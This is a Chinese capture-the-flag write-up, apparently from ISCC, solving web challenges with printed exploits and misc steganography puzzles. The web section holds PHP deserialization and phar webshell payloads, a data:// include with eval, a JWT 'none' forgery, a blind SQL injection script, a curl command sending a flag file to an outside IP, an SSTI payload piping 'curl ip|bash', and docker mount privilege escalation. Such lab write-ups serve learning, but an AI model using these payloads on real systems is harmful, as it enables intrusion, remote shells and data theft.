记一下部分题目的writeup吧!

练武题

web

阿森的爱情-1

抓包发现Set-Cookie字段:添加并改成login=1

然后发现

解下MD5发现是573495,后来听说flag在readme.txt,不过被删了

Php is the best language

下载文件给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}

$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>

扫目录发现flag.php,很简单的一道反序列化,exp:

1
2
3
4
5
6
7
<?php
class baby
{
public $file='flag.php';
}
$a=new baby;
echo serialize($a);

payload:

1
http://101.201.126.95:7003/?data=O:4:%22baby%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

base64解码即可

What can images do

文件上传题,发现图片示例那里可以包含,直接图片马

上传图片马

包含图片马

蚁剑连,在flag.php看到flag

未知的风险-1

jwt题目,提示密码是flag{*}形式,但是这题不用破解,直接把加密算法修改成none就行,exp:

1
2
import jwt 
print(jwt.encode({"id":"user","iat":1588775401,"jti":"b0b6f6e4fb94a81390aa7cca9ed7f773"},algorithm="none",key="").decode(encoding='utf-8'))

成功替换发现是xxe,直接读flag.php

Where is file?

源码:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$file=$_GET['file'];
while (strstr($file, "file://")) {
$file=str_replace("file://", "", $file);
}
include($file);
?>

直接包含data://协议getshell

1
?file=data://text/plain,<?php eval($_POST[1]);?>

flag在flag.php里

1
flag{web_include_file}

阿森的爱情-2

sql注入,fuzz一下,发现过滤的并不多,但把经常用的()过滤了,并且过滤了password,order by判断有三列,且第二位为回显位

之前没做过过滤括号的题,搜了搜,发现可以用order by比较注入

先说一下order by,我们都知道order by 可以判断查询的列数,为啥呢?

我们在查询的时候,order by 的作用是对某列进行排序,并且是以ASCII码的顺序来的

如果列数超过查询的列数自然会报错

那么如何进行order by比较注入呢?

就这道题而言,我们可以猜测,password在第三列,并且只有一条数据,这样的话我们就可以按照

进行比较注入,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

s=string.digits+string.ascii_lowercase
url='http://101.201.126.95:7006/'
flag=''
for j in range(50):
f=flag
for i in s:
data={
"username":"admin' union select 1,1433223,'{}' order by 3#".format(flag+i),
"password":"aaa"
}
r=requests.post(url,data=data)
if 'admin' in r.text:
flag=flag+s[s.index(i)-1]
print(s[s.index(i)-1])
break
if flag==f:
break
print(flag)
# bfe42ac26e273ef3a859a651e0a02df0

不知道为啥最后一个0跑了好几次才出来,一直凑不够32位,解MD5得到

1
flag{iloveishuai}

阿帅的爱情

访问得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
if(!isset($_GET["ip"])){
show_source(__file__);
} else
{
$ip=$_GET["ip"];
$pattern="/[;|&].*[a-zA-Z]+/";
if(preg_match($pattern,$ip)!=0){
die('bad domain');
}
try {
$result = shell_exec('ping -c 4 ' . $ip);
}
catch(Exception $e) {
$result = $e->getMessage();
echo $result;
}
$result = str_replace("\n", "<br>", $result);
echo $result;
}

直接构造payload:

1
?ip=`curl 47.97.210.141:9000/?$(tail -n 2 flag.php)`

misc

ISCC签到

直接改下高度就能看到

1
ISCC{D3tivtm_zv_Tq5I_Dygef}

提交发现不对,猜测是某种编码,最终发现是凯撒密码变种,看下这个脚本吧,去掉数字和下划线,发现有规律

1
2
3
4
5
6
7
8
9
s1='D3tivtm_zv_Tq5I_Dygef'
s2='W3lcome_to_Mi5C_Wryyy'
for i,j in zip(s1,s2):
if i not in "0123456789_":
if ord(i)-ord(j)<0:
print(i+' '+j+' '+str(26-ord(j)+ord(i)))
else:
print(i+' '+j+' '+str(ord(i)-ord(j)))
# 7867循环

最终flag,前面的很像welcome to,实在不行猜也行

1
ISCC{W3lcome_to_Mi5C_Wryyy}

寻找小明-1

根据最低位的背影.png立马想到了lsb隐写相关的,StegSlove打开,切换不同通道,发现一张二维码

扫出来一个链接,打开发现是

1
[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]

这是啥呢?

最终flag:

1
flag{ISCC*funny}

ISCC成绩查询-1

StegSlove打开,发现藏着

沿着路径走得到

1
TRLNCHHAFCIEEIEEPR

栅栏密码解密得到flag

1
flag{THERAILFENCECIPHER}

神秘组织的邮件-1

StegSlove打开,发现有

1
2
3
雄机富魁
雄罡孤捷 勇立雄英
贵猛猛勇

发现每个汉字对应36天罡72地煞,试了试发现都是天罡,换成对应的顺序

1
2
3
4
5
6
7
雄机富魁    天:6 3 11 1

雄罡孤捷 天:6 2 13 16

勇立雄英 天:5 15 6 9

贵猛猛勇 天:10 7 7 5

发现最大数16,最小数为1,想到16进制,所有数减1,转换成16进制,转换成UTF-16

1
2
3
4
5
6
7
8
9
雄机富魁    天:6 3 11 1	52a0

雄罡孤捷 天:6 2 13 16 51cf

勇立雄英 天:5 15 6 9 4e58

贵猛猛勇 天:10 7 7 5 9664

\u52a0\u51cf\u4e58\u9664

UTF-16转换地址:http://www.msxindl.com/tools/unicode16.asp

1
flag{加减乘除}

耳听为实

查看属性发现副标题是flag,猜测MP3Stego隐写,密码试试flag,得到:

1
2
3
flag is here!
https://pan.baidu.com/s/1L3cq1CRVhvv6mq8qogq-sA
dHc0aQ==

base64解密得到提取码,下载下来,发现比原来的大,binwalk分离出压缩包,解压得到

flag-RD.wavctf-produce.py

ctf-produce.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import wave
import numpy as np
import os

# 读取音频信号
f = wave.open(os.path.abspath('./flag.wav'), 'rb') # 二进制只读模式,打开音频文件
params = f.getparams() # 返回音频参数,元组:声道数,量化位数(byte单位),采样频率,采样点数,压缩类型,压缩类型的描述
nchannels, sampwidth, framerate, nframes=params[:4] # 赋值声道数,量化位数,采样频率,采样点数
str = f.readframes(nframes) # 读取采样点数据,字符串类型
wave_data = np.fromstring(str, dtype=np.short) # 字符串转换为short类型
time = np.arange(0, nframes) * (1.0 / framerate) # 通过采样点数和取样频率计算出每个取样的时间
# 语音信号分帧处理
wlen = 100 # 帧长
inc = 50 # 帧移
signal_length = len(wave_data) # 信号总长度
if signal_length <= wlen: # 若信号长度小于一个帧的长度,则帧数 nf 定义为1,否则,计算帧的总长度
nf = 1
else:
nf = int(np.ceil((1.0*signal_length-wlen+inc)/inc))
pad_length = int((nf-1)*inc+wlen) # 所有帧加起来总的铺平后的长度
zeros = np.zeros((pad_length-signal_length), dtype=int) # 不够的长度使用0填补
pad_signal = np.concatenate((wave_data,zeros)) # 填补后的信号记为pad_signal
indices = np.tile(np.arange(0,wlen),(nf,1))+np.tile(np.arange(0,nf*inc,inc), (wlen,1)).T # 相当于对所有帧的时间点进行抽取,得到nf*wlen长度的矩阵
indices = np.array(indices, dtype=np.int32) # 将indices转化为矩阵
indices = np.random.permutation(indices)
frames = pad_signal[indices] # 得到帧信号
frames = frames.flatten()
w = wave.open(os.path.abspath('./flag-RD.wav'), "wb") # 打开WAV文档
# 配置声道数、量化位数和取样频率
w.setnchannels(nchannels)
w.setsampwidth(sampwidth)
w.setframerate(framerate*2) # 采样频率至少是信号频率最高频率的两倍以上才能重新恢复为原来的模拟信号
w.writeframes(frames.tostring()) # 将wav_data转换为二进制数据写入文件
w.close()
f.close()

很明显,需要我们逆推flag.wav了

千层套路

一张gif图片,stegslove分离出8张图片,ps拼一下

1
sr5#TKh~ck3^

提交flag发现不对

擂台题

web

Easy Injection

flask ssti,直接P神的payload反弹shell:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("curl ip|bash").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

root权限就很奇怪

大黑阔

扫目录,发现有源码www.zip

upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$tmp_file_location='/var/www/html/';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
$tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>

show.php:

1
2
3
4
5
6
7
8
9
10
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

很明显phar反序列化,由于版本是php5.6,可以用assert,所以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class AnyClass{
var $output = 'assert($_POST[1]);';
}
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new AnyClass;
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a.txt", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

进去之后发现flag在/root/flag.txt,反弹shell,docker提权

1
2
3
docker pull alpine
docker docker run -id -v /:/tmp alpine
docker exec 68335e7b38e0 cat /tmp/root/flag.txt

misc

是我DIO哒

foremost分离出一张二维码,不知道binwalk为啥不行,扫出来是:

1
Useful_Massage_1(SVNDQyU3QmZsQGdfaXN

StegSolve分离出第二部分

1
Useful_M assage_2(fa09fTjBfRCUyMW9fZGFhYW ElMjFfXyU3RA==)

拼接到一块,base64解密并url解码得到flag

1
ISCC{fl@g_is_kO_N0_D!o_daaaa!__}

Easy_Minecraft

下载对应的版本的mc,添加服务器发现:

1
key2:Decode(n*Base64_Decode(VlRKR2MyUkhWbXRZTVNzNVRWVkp0VFl3YVdoUmRFNXBNelozYkVKWVJWbE9Za1pKUVV4b00wdDJRU1V6UkElM0QlM0Q%3D))

base64解密一次为:

1
VTJGc2RHVmtYMSs5TVVJtTYwaWhRdE5pMzZ3bEJYRVlOYkZJQUxoM0t2QSUzRA==

再解密一次

1
U2FsdGVkX1+9MUIµ60ihQtNi36wlBXEYNbFIALh3KvA=

直接加入服务器会提示:

1
ZmxhZ3tJNV90aDFzX2ZsQGc/fQ==

base64解密之后是:

1
flag{I5_th1s_fl@g?}

评论